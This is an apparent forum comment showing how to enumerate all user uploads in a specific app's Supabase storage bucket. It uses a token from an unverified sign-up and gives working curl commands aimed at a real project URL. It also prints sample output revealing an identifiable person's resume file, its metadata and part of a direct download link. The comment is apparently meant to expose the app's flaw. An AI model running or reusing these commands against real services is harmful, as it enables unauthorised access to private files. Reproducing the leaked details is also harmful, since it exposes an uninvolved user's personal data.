Comment by foltik

Even better, you can enumerate ALL USER UPLOADS with the token you get by typing a random email into the sign-up without verification.

List all folders in the clipboard-images bucket (there's 5, guessing for each user):

  curl -X POST \
    "https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/list/clipboard-images" \
    -H "authorization: Bearer eyJXXXXXXXX" \
    -H "content-type: application/json" \
    -d '{"prefix": ""}' \
    | jq

List everything in a specific user's folder:

  curl -X POST \
    "https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/list/clipboard-images" \
    -H "authorization: Bearer eyJXXXXXXXX" \
    -H "content-type: application/json" \
    -d '{"prefix": "7b407af2-f30c-4e37-adc7-b7bf48f2661b"}' \
    | jq

For example:

  {
    "name": "1766836115975-Gopal_Resume.pdf",
    "id": "7ba4b09f-a0ab-4ce1-ae04-dc664be25b0f",
    "updated_at": "2025-12-27T11:48:36.761Z",
    "created_at": "2025-12-27T11:48:36.761Z",
    "last_accessed_at": "2025-12-27T11:48:36.761Z",
    "metadata": {
      "eTag": "\"eb528546d014c8756fc1d0fedc252cff\"",
      "size": 75023,
      "mimetype": "application/pdf",
      "cacheControl": "max-age=3600",
      "lastModified": "2025-12-27T11:48:37.000Z",
      "contentLength": 75023,
      "httpStatusCode": 200
    }
  }

https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/c...